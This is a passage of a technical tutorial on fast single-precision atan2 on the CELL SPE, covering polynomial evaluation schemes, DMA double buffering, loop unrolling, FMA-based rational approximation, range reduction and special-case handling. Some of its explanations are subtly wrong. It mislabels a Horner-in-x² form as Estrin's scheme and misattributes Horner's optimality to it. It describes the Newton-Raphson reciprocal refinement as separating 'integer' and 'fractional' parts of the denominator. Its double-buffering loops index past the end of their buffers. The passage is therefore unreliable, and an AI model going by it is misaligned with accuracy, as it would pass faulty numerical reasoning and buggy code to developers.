$$P(x) = a_n x^n + a_{n-1} x^{n-1} + \ldots + a_1 x + a_0$$

Horner’s scheme reformulates this polynomial as:

$$P(x) = (((\ldots(a_n x + a_{n-1}) x + a_{n-2}) \ldots ) x + a_1) x + a_0$$

This nested multiplication approach reduces the computational complexity from O(n^2) operations (if computed naively) to O(n) multiplications and O(n) additions, thus enhancing efficiency, especially for large 𝑛. This scheme is particularly effective for sequential processing environments because it sequentially updates the result and requires maintaining only a single accumulator during computation.

Estrin's scheme, on the other hand, is a factored form of the polynomial that can be evaluated using a series of fused multiply-add (FMA) instructions. While Estrin's scheme typically requires more instructions than Horner's scheme, it can exploit instruction-level parallelism more effectively, potentially improving performance on superscalar architectures like the CELL SPE. Like Horner's, it reduces the polynomial evaluation complexity but does so in a way that allows for concurrent execution of operations. For the same polynomial 𝑃(𝑥)P(x), Estrin's scheme groups terms to enable parallel computation:

$$P(x) = (((\ldots(a_n x^2 + a_{n-1}) x^2 + a_{n-2}) \ldots ) x^2 + a_1) x + a_0$$

However, this representation typically works best for polynomials where the degree is a power of two, allowing balanced splitting. If 𝑛 is not a power of two, dummy terms with coefficients of zero may be added to fit this scheme. Estrin’s method is particularly beneficial on architectures that support instruction-level parallelism and fused multiply-add (FMA) instructions, allowing multiple operations to be performed simultaneously.

Design Considerations of the Code

By combining careful algorithm design alongside many optimization techniques, significant performance gains can be achieved for atan2 computation on the CELL SPE processor.

Using Local Store Memory

The CELL BE had a heterogeneous multi-core architecture consisting of one PowerPC-based Power Processing Element (PPE) and eight specialized co-processors called Synergistic Processing Elements (SPEs). Each SPE had its own Synergistic Processing Unit (SPU) and a small local memory (256 KB) referred to as the Local Store (LS).

The SPU's LS is a high-speed scratchpad memory, and it is designed to be the primary working memory for the SPU. Data had to be explicitly transferred between the main system memory and the LS using Direct Memory Access (DMA) operations, as the SPU could not directly access the main memory.

The LS in the Cell BE SPEs is fundamentally different from a normal hardware cache as it is a software-managed memory, meaning that the programmer has explicit control over data transfers between the LS and the main memory using DMA operations. In contrast, a hardware cache is transparent to the programmer and automatically managed by the processor's memory management unit (MMU).

The LS also doesn't sync with the main memory or other LS. Data consistency must be explicitly managed by the programmer through DMA transfers and synchronization primitives. On the other hand, hardware caches maintain coherency with the main memory and other caches in the system, transparently to the programmer.

// Global Floating-point constants (32 bit)

static const vector unsigned int _cp_f_pio4 = { 0x3f490fdb, 0x3f490fdb, 0x3f490fdb, 0x3f490fdb };
static const vector unsigned int _cp_f_t3p8 = { 0x3fe5ec5d, 0x3fe5ec5d, 0x3fe5ec5d, 0x3fe5ec5d };
static const vector unsigned int _cp_f_npio2 = { 0xbfc90fdb, 0xbfc90fdb, 0xbfc90fdb, 0xbfc90fdb };
static const vector unsigned int _cp_f_pio2 = { 0x3fc90fdb, 0x3fc90fdb, 0x3fc90fdb, 0x3fc90fdb };
static const vector unsigned int _cp_f_pt66 = { 0x3f2aaaab, 0x3f2aaaab, 0x3f2aaaab, 0x3f2aaaab };
static const vector unsigned int _cp_f_pi = { 0x40490fdb, 0x40490fdb, 0x40490fdb, 0x40490fdb };
static const vector unsigned int _cp_f_npi = { 0xc0490fdb, 0xc0490fdb, 0xc0490fdb, 0xc0490fdb };
static const vector unsigned int _cp_f_morebits = { 0x38800000, 0x38800000, 0x38800000, 0x38800000 };
static const vector unsigned int _cp_f_hmorebits = { 0x34000000, 0x34000000, 0x34000000, 0x34000000 };

// Helper functions to load constant values into quadwords
static inline qword cp_flpio4(void) { return si_lqa((intptr_t)&_cp_f_pio4); }
static inline qword cp_flt3p8(void) { return si_lqa((intptr_t)&_cp_f_t3p8); }
static inline qword cp_flnpio2(void) { return si_lqa((intptr_t)&_cp_f_npio2); }
static inline qword cp_flpio2(void) { return si_lqa((intptr_t)&_cp_f_pio2); }
static inline qword cp_flpt66(void) { return si_lqa((intptr_t)&_cp_f_pt66); }
static inline qword cp_flpi(void) { return si_lqa((intptr_t)&_cp_f_pi); }
static inline qword cp_flnpi(void) { return si_lqa((intptr_t)&_cp_f_npi); }
static inline qword cp_filzero(void) { return si_ilhu((int16_t)0x0000); }
static inline qword cp_filnzero(void) { return si_ilhu((int16_t)0x8000); }
static inline qword cp_filone(void) { return si_ilhu((int16_t)0x3f80); }
static inline qword cp_filtwo(void) { return si_ilhu((int16_t)0x4000); }
static inline qword cp_filinf(void) { return si_ilhu((int16_t)0x7f80); }
static inline qword cp_filninf(void) { return si_ilhu((int16_t)0xff80); }
static inline qword cp_filnan(void) { return si_ilhu((int16_t)0x7fc0); }

// Polynomial coefficients for cp_fatan approximation
static const vector unsigned int _cp_f_atan_p7 = { 0x3c08876a, 0x3c08876a, 0x3c08876a, 0x3c08876a };
static const vector unsigned int _cp_f_atan_p6 = { 0xbd954629, 0xbd954629, 0xbd954629, 0xbd954629 };
static const vector unsigned int _cp_f_atan_p5 = { 0x3f8a07c1, 0x3f8a07c1, 0x3f8a07c1, 0x3f8a07c1 };
static const vector unsigned int _cp_f_atan_p4 = { 0xbf49eee6, 0xbf49eee6, 0xbf49eee6, 0xbf49eee6 };
static const vector unsigned int _cp_f_atan_p3 = { 0x3ee4f8b5, 0x3ee4f8b5, 0x3ee4f8b5, 0x3ee4f8b5 };
static const vector unsigned int _cp_f_atan_p2 = { 0xbf62365c, 0xbf62365c, 0xbf62365c, 0xbf62365c };
static const vector unsigned int _cp_f_atan_p1 = { 0x3f490965, 0x3f490965, 0x3f490965, 0x3f490965 };
static const vector unsigned int _cp_f_atan_p0 = { 0xbf2697e0, 0xbf2697e0, 0xbf2697e0, 0xbf2697e0 };

// Higher-degree polynomial coefficients for cp_fatan approximation
static const vector unsigned int _cp_f_atan_q7 = { 0x3c0897d0, 0x3c0897d0, 0x3c0897d0, 0x3c0897d0 };
static const vector unsigned int _cp_f_atan_q6 = { 0xbd890e31, 0xbd890e31, 0xbd890e31, 0xbd890e31 };
static const vector unsigned int _cp_f_atan_q5 = { 0x3f6c4616, 0x3f6c4616, 0x3f6c4616, 0x3f6c4616 };
static const vector unsigned int _cp_f_atan_q4 = { 0xbf2bbfc2, 0xbf2bbfc2, 0xbf2bbfc2, 0xbf2bbfc2 };
static const vector unsigned int _cp_f_atan_q3 = { 0x3eb6679b, 0x3eb6679b, 0x3eb6679b, 0x3eb6679b };
static const vector unsigned int _cp_f_atan_q2 = { 0xbf56c0c9, 0xbf56c0c9, 0xbf56c0c9, 0xbf56c0c9 };
static const vector unsigned int _cp_f_atan_q1 = { 0x3f7df927, 0x3f7df927, 0x3f7df927, 0x3f7df927 };
static const vector unsigned int _cp_f_atan_q0 = { 0xbf800000, 0xbf800000, 0xbf800000, 0xbf800000 };

In programming for the CELL SPE, it is crucial to ensure memory alignment, as the Cell BE's DMA operations and SIMD instructions often require 16-byte alignment for optimal efficiency. Explicit data transfer management between the main memory and the LS must be handled by the programmer using DMA operations, which involves initiating transfers, waiting for completion, and synchronizing data to ensure consistency. Implementing double buffering can overlap computation with data transfer, hiding latency and improving performance. Prefetching data into the LS ahead of time reduces latency and ensures that the SPU has continuous access to the required data. Synchronization primitives such as barriers and signals are essential to maintain data consistency between the LS and the main memory, as well as between different SPEs.

Going Further to Direct Memory Access

Double buffering for DMA (Direct Memory Access) is a technique that allows for the overlapping of data transfers and computation, thus improving the efficiency of a system, particularly in the CELL BE architecture. The CELL BE comprises a Power Processing Element (PPE) and multiple Synergistic Processing Elements (SPEs). Each SPE has its own Synergistic Processing Unit (SPU) and Local Store (LS). The LS is a high-speed scratchpad memory used by the SPU, but data must be explicitly transferred between the LS and the main memory using DMA operations.

In double buffering, two buffers are used alternately to transfer and process data. While one buffer is being processed by the SPU, the other buffer is being filled with new data from the main memory. This technique ensures that the SPU can continue processing without waiting for data transfers to complete, thereby hiding the latency of memory operations and increasing overall throughput.

1. Buffer Initialization: Two buffers, buffer0 and buffer1, are allocated in the LS. Pointers current_buffer and next_buffer are used to manage these buffers.

2. Initial DMA Transfer: The dma_transfer function is called to initiate the first DMA transfer, filling current_buffer with data from the main memory.

3. Processing and Overlapping Transfer: While the SPU processes the data in current_buffer, the next DMA transfer fills next_buffer with the subsequent data chunk. This overlap minimizes idle time.

4. Swapping Buffers: After processing the current_buffer, the results are written back to the main memory. The buffers and DMA tags are then swapped, and the process repeats.

#define BUFFER_SIZE 128 // Example buffer size
#define TAG 1 // DMA tag

// DMA transfer function
void dma_transfer(qword *buffer, uint32_t ea, int tag) {
    mfc_get(buffer, ea, BUFFER_SIZE * sizeof(qword), tag, 0, 0);
    mfc_write_tag_mask(1 << tag);
    mfc_read_tag_status_all();
}

// Double buffering for DMA transfers
void process_with_double_buffering(uint32_t ea_data, uint32_t ea_result, int num_elements) {
    qword buffer0[BUFFER_SIZE] __attribute__((aligned(16)));
    qword buffer1[BUFFER_SIZE] __attribute__((aligned(16)));
    qword *current_buffer = buffer0;
    qword *next_buffer = buffer1;
    int current_tag = TAG;
    int next_tag = TAG + 1;

    // Initial DMA transfer
    dma_transfer(current_buffer, ea_data, current_tag);

    for (int i = 0; i < num_elements; i += BUFFER_SIZE) {
        // Start next DMA transfer
        if (i + BUFFER_SIZE < num_elements) {
            dma_transfer(next_buffer, ea_data + (i + BUFFER_SIZE) * sizeof(qword), next_tag);
        }

        // Process current buffer
        for (int j = 0; j < BUFFER_SIZE && (i + j) < num_elements; ++j) {
            qword y = current_buffer[j * 2];
            qword x = current_buffer[j * 2 + 1];
            qword result = _cp_fatan2(y, x);
            current_buffer[j] = result;
        }

        // Write results back
        mfc_put(current_buffer, ea_result + i * sizeof(qword), BUFFER_SIZE * sizeof(qword), current_tag, 0, 0);
        mfc_write_tag_mask(1 << current_tag);
        mfc_read_tag_status_all();

        // Swap buffers and tags
        qword *temp_buffer = current_buffer;
        current_buffer = next_buffer;
        next_buffer = temp_buffer;
        int temp_tag = current_tag;
        current_tag = next_tag;
        next_tag = temp_tag;
    }
}

The buffers are aligned using __attribute__((aligned(16))) to ensure proper alignment for SIMD (Single Instruction, Multiple Data) operations. Proper alignment is crucial for SIMD operations because it allows data to be loaded and stored in chunks, minimizing the number of memory accesses and maximizing the throughput of data processing. Misaligned data can cause additional overhead and reduce the efficiency of SIMD instructions.

Then, the dma_transfer function starts the first DMA transfer, loading data from the main memory into current_buffer. The function uses mfc_get to initiate the transfer and mfc_write_tag_mask and mfc_read_tag_status_all to manage DMA tags and ensure the transfer completes before processing.

Inside the loop, while the SPU processes the data in current_buffer, the next DMA transfer is initiated to load data into next_buffer. This is achieved by checking if there are more elements to process (i + BUFFER_SIZE < num_elements) and calling dma_transfer for next_buffer.

After processing current_buffer, the results are written back to the main memory using mfc_put. The buffers and tags are then swapped, allowing the next iteration of the loop to process the newly loaded data while the previous results are being transferred back.

Loop Unrolling through Parallelism

Loop unrolling is an optimization technique used to enhance the performance of loops by decreasing the loop control overhead and increasing the instruction-level parallelism. This technique involves replicating the loop body multiple times within a single iteration, thereby reducing the number of iterations and allowing more operations to be executed in parallel.

Consider a loop that processes one element per iteration:

for (int i = 0; i < n; ++i) {
    process(data[i]);
}

If we unroll this loop by a factor of 4, the loop body is replicated four times, and the loop control instructions are adjusted accordingly:

for (int i = 0; i < n; i += 4) {
    process(data[i]);
    process(data[i + 1]);
    process(data[i + 2]);
    process(data[i + 3]);
}

By doing this, the number of iterations is reduced by a factor of 4, thus reducing the loop control overhead (incrementing the counter and checking the loop condition) and exposing more opportunities for parallel execution.

Loop unrolling enhances the efficiency of the double buffering technique by minimizing the overhead of loop control operations and increasing the degree of parallelism. This is particularly beneficial in the CELL BE architecture, where the SPU can take advantage of SIMD instructions to process multiple data points concurrently.

Here’s how loop unrolling can be applied in the code :

#define BUFFER_SIZE 128
#define TAG 1
#define UNROLL_FACTOR 4

void doublebuff(uint32_t ea_data, uint32_t ea_result, int num_elements) {
    qword buffer0[BUFFER_SIZE] __attribute__((aligned(16)));
    qword buffer1[BUFFER_SIZE] __attribute__((aligned(16)));
    qword *current_buffer = buffer0;
    qword *next_buffer = buffer1;
    int current_tag = TAG;
    int next_tag = TAG + 1;

    // Initial DMA transfer
    dma_transfer(current_buffer, ea_data, current_tag);

    for (int i = 0; i < num_elements; i += BUFFER_SIZE) {
        if (i + BUFFER_SIZE < num_elements) {
            dma_transfer(next_buffer, ea_data + (i + BUFFER_SIZE) * sizeof(qword), next_tag);
        }

        // Process current buffer with loop unrolling
        for (int j = 0; j < BUFFER_SIZE; j += UNROLL_FACTOR) {
            for (int k = 0; k < UNROLL_FACTOR && (i + j + k) < num_elements; ++k) {
                qword y = current_buffer[(j + k) * 2];
                qword x = current_buffer[(j + k) * 2 + 1];
                qword result = _cp_fatan2(y, x);
                current_buffer[j + k] = result;
            }
        }

        mfc_put(current_buffer, ea_result + i * sizeof(qword), BUFFER_SIZE * sizeof(qword), current_tag, 0, 0);
        mfc_write_tag_mask(1 << current_tag);
        mfc_read_tag_status_all();

        qword *temp_buffer = current_buffer;
        current_buffer = next_buffer;
        next_buffer = temp_buffer;
        int temp_tag = current_tag;
        current_tag = next_tag;
        next_tag = temp_tag;
    }
}

The buffers are initialized in the LS, ensuring they are aligned to 16-byte boundaries for efficient SIMD operations. The first DMA transfer is initiated to fill current_buffer with data from the main memory. And then, inside the loop the body of the loop is unrolled by a factor of 4. This reduces the number of iterations and allows multiple elements to be processed in each iteration, reducing loop overhead and improving parallelism. After processing current_buffer, the results are written back to the main memory, and the buffers are swapped for the next iteration.

Polynomial Approximation Through Fused Multiply-Add (FMA) Operations

Now we can start getting into the mathematics of it all. And it starts by computing the arctangent of a single-precision floating-point value or a vector of four single-precision floating-point values using a polynomial approximation. We can implement this using the Estrin's method, evaluating the numerator and denominator polynomials separately using Fused Multiply-Add (FMA) instructions, and then dividing the numerator by the denominator to obtain the final result.

const qword xp2 = si_fm(range_x, range_x);
const qword znum0 = f_atan_p0;
const qword znum1 = si_fma(znum0, xp2, f_atan_p1); // FMA: (znum0 * xp2) + f_atan_p1
const qword znum2 = si_fma(znum1, xp2, f_atan_p2); // FMA: (znum1 * xp2) + f_atan_p2
const qword znum3 = si_fma(znum2, xp2, f_atan_p3); // FMA: (znum2 * xp2) + f_atan_p3
const qword znum = si_fma(znum3, xp2, f_atan_p4); // FMA: (znum3 * xp2) + f_atan_p4
const qword zden0 = si_fa(xp2, f_atan_q0);
const qword zden1 = si_fma(zden0, xp2, f_atan_q1); // FMA: (zden0 * xp2) + f_atan_q1
const qword zden2 = si_fma(zden1, xp2, f_atan_q2); // FMA: (zden1 * xp2) + f_atan_q2
const qword zden3 = si_fma(zden2, xp2, f_atan_q3); // FMA: (zden2 * xp2) + f_atan_q3
const qword zden = si_fma(zden3, xp2, f_atan_q4); // FMA: (zden3 * xp2) + f_atan_q4

A polynomial of degree n can be written as

P(x) = a₀ + a₁x + a₂x² + ... + aₙxⁿ
     = a₀ + x(a₁ + x(a₂ + ... + x(aₙ₋₁ + xaₙ)))

This representation allows the polynomial to be evaluated using nested multiplication and addition operations, with each level of nesting corresponding to a higher power of x. In the _cp_fatan implementation, the numerator polynomial is evaluated as:

$$znum = f_atan_p0 + xp2 * (f_atan_p1 + xp2 * (f_atan_p2 + xp2 * (f_atan_p3 + xp2 * f_atan_p4)))$$

Similarly, the denominator polynomial is evaluated as:

$$zden = f_atan_q0 + xp2 * (f_atan_q1 + xp2 * (f_atan_q2 + xp2 * (f_atan_q3 + xp2 * f_atan_q4)))$$

The Estrin method is particularly well-suited for architectures that support Fused Multiply-Add (FMA) instructions, as each level of nesting can be computed using a single FMA operation. This is precisely what the implementation does, using the si_fma intrinsic to perform the nested multiplication and addition operations in a single instruction.

The main advantage of the Estrin method is that it minimizes the number of operations required to evaluate a polynomial. For a polynomial of degree n, the Estrin method requires only n multiplications and n additions, which is optimal in terms of the number of operations.

However, it's important to note that the Estrin method can introduce numerical instabilities due to the accumulation of rounding errors, especially for higher-degree polynomials or input values with large magnitudes. To mitigate this issue, we need to refine the denominator value by performing a series of FMA operations. The first step is to compute (1 - zden_r0) * zden using the si_fnms (Fused Negative Multiply-Subtract) intrinsic:

const qword zden_r1 = si_fnms(zden_r0, zden, f_one);

This operation computes (1 - zden_r0) * zden and subtracts the result from 1.0. The purpose of this step is to remove the fractional part from zden, effectively computing the integer part of zden.

Finally, the implementation refines the denominator value by adding the fractional part back to the integer part using another FMA operation:

const qword zden_r = si_fma(zden_r1, zden_r0, zden_r0);

This operation computes zden_r1 * zden_r0 + zden_r0, which is equivalent to adding the fractional part (zden_r0) to the integer part (zden_r1 * zden_r0). The result is a more accurate representation of the denominator value, denoted as zden_r.

With the refined denominator value zden_r, the implementation can now perform the final division more accurately:

const qword zdiv = si_fm(znum, zden_r);

This step computes zdiv = znum / zden_r, which is the final result of the arctangent approximation.

The purpose of refining the denominator value is to reduce the impact of rounding errors when the denominator is close to zero. By separating the integer and fractional parts of the denominator and refining the fractional part, the implementation can maintain higher precision and reduce the accumulation of rounding errors, especially in cases where the denominator value is small.

Mathematically, the refinement process can be represented as follows:

Let zden = f + i, where f is the fractional part, and i is the integer part.

Then :

$$zden_r0 = f$$

$$zden_r1 = (1 - f) \cdot (f + i) = i + f - f^2 \approx i$$

$$zden_r = zden_r1 + zden_r0 = i + f = zden$$

By refining the denominator value (zden_r) to be a more accurate representation of zden, the implementation can mitigate the potential numerical instabilities caused by rounding errors, especially when the denominator value is close to zero.

Refining Values Through Range Reduction

Range reduction is crucial for improving the accuracy and efficiency of the arctangent approximation. It involves mapping the input value x into a smaller range, where the arctangent function can be more accurately approximated using a polynomial.

The CELL BE, like most modern processors, represents single-precision (32-bit) and double-precision (64-bit) floating-point numbers using a fixed number of bits for the significand (mantissa) and exponent. This limited precision can lead to rounding errors when representing certain values or performing arithmetic operations. For example, when computing the arctangent function using a polynomial approximation, the input values may need to be divided or multiplied by certain constants. If these constants cannot be represented exactly in the floating-point format, rounding errors can accumulate throughout the computation, potentially leading to inaccurate results.

const qword range0_mask = si_fcgt(pos_x, f_t3p8);
const qword range1_gt_mask = si_fcgt(f_pt66, pos_x);
const qword range1_eq_mask = si_fceq(f_pt66, pos_x);
const qword range1_mask = si_or(range1_gt_mask, range1_eq_mask);
const qword range2_mask = si_nor(range0_mask, range1_mask);

The range0_mask identifies cases where pos_x (the absolute value of the input x) is greater than tan(3π/8), which is a constant value f_t3p8. The si_fcgt intrinsic performs a floating-point greater-than comparison.

The range1_mask identifies cases where pos_x is less than or equal to 0.66, which is a constant value f_pt66. It is computed by combining two masks using si_or: range1_gt_mask (for pos_x < 0.66) and range1_eq_mask (for pos_x == 0.66).

The range2_mask identifies the remaining cases that are not covered by range0_mask or range1_mask. It is computed by performing a bitwise NOR operation (si_nor) on range0_mask and range1_mask.

These range masks are used to select different computations and approximations for the arctangent function, based on the range in which the input value falls.

For the range0 case, where pos_x is greater than tan(3π/8), the range reduction involves computing -1.0 / pos_x:

const qword range0_x0 = si_frest(pos_x);
const qword range0_x1 = si_fi(pos_x, range0_x0);
const qword range0_x2 = si_fnms(range0_x1, pos_x, f_one);
const qword range0_x3 = si_fma(range0_x2, range0_x1, range0_x1);
const qword range0_x = si_xor(range0_x3, f_msb);
const qword range0_y = f_pio2;

This computation is performed using a series of FMA (Fused Multiply-Add) instructions for improved accuracy and performance. The final result, range0_x, is then negated using an XOR operation with f_msb (which flips the sign bit). The corresponding range0_y value is set to π/2.

For the range1 case, where pos_x is less than or equal to 0.66, the range reduction is straightforward:

const qword range1_x = pos_x;
const qword range1_y = f_zero;

The range1_x value is simply set to pos_x, and the corresponding range1_y value is set to 0.0.

For the range2 case, which covers the remaining values of pos_x, the range reduction involves computing (pos_x - 1.0) / (pos_x + 1.0):

const qword range2_y = f_pio4;
const qword range2_x0num = si_fs(pos_x, f_one);
const qword range2_x0den = si_fa(pos_x, f_one);
const qword range2_x0 = si_frest(range2_x0den);
const qword range2_x1 = si_fnms(range2_x0, range2_x0den, f_one);
const qword range2_x2 = si_fma(range2_x1, range2_x0, range2_x0);
const qword range2_x = si_fm(range2_x0num, range2_x2);

This computation is also performed using FMA instructions for efficiency. The corresponding range2_y value is set to π/4.

After computing the range-specific values (range0_x, range1_x, range2_x, range0_y, range1_y, range2_y), the appropriate values are selected based on the range masks:

const qword range_x0 = si_selb(range2_x, range0_x, range0_mask);
const qword range_x = si_selb(range_x0, range1_x, range1_mask);
const qword range_y0 = si_selb(range2_y, range0_y, range0_mask);
const qword range_y = si_selb(range_y0, range1_y, range1_mask);

The si_selb intrinsic is used to perform a conditional selection operation, selecting the first value if the corresponding mask bit is 0, and the second value if the mask bit is 1. The range-specific values range_x and range_y are then used in the subsequent polynomial approximation step of the _cp_fatan function.

The purpose of this range reduction is to map the input value x into a smaller range, typically [-1, 1], where the arctangent function can be more accurately approximated using a polynomial. By decomposing the input range into multiple sub-ranges and applying different range reduction strategies, the implementation can achieve higher accuracy and efficiency in the approximation.

Special Case Handling for Weird Values

We need to handle special cases to ensure correct results when dealing with corner cases or exceptional inputs, such as zero, infinity, and NaN (Not a Number) to make sure that the approximation adheres to the mathematical specifications and produces accurate results even in corner cases that might otherwise lead to undefined or incorrect behavior.

Positive and Negative Infinite Inputs

When one of the inputs (x or y) is infinite, the mathematical behavior of the atan2(y, x) function needs to be explicitly defined. For example, when y is positive infinity and x is negative infinity, the result should be 3π/4 radians. These cases cannot be handled by the general polynomial approximation used for finite input values.

Masks x_eqinf_mask and x_eqninf_mask are created using si_fceq to identify if x is equal to positive or negative infinity, respectively.

If x is positive infinity, the result should be π/2. This is achieved by selecting between result_y0 (the result from the previous step) and f_pio2 (the constant value for π/2) based on the x_eqinf_mask: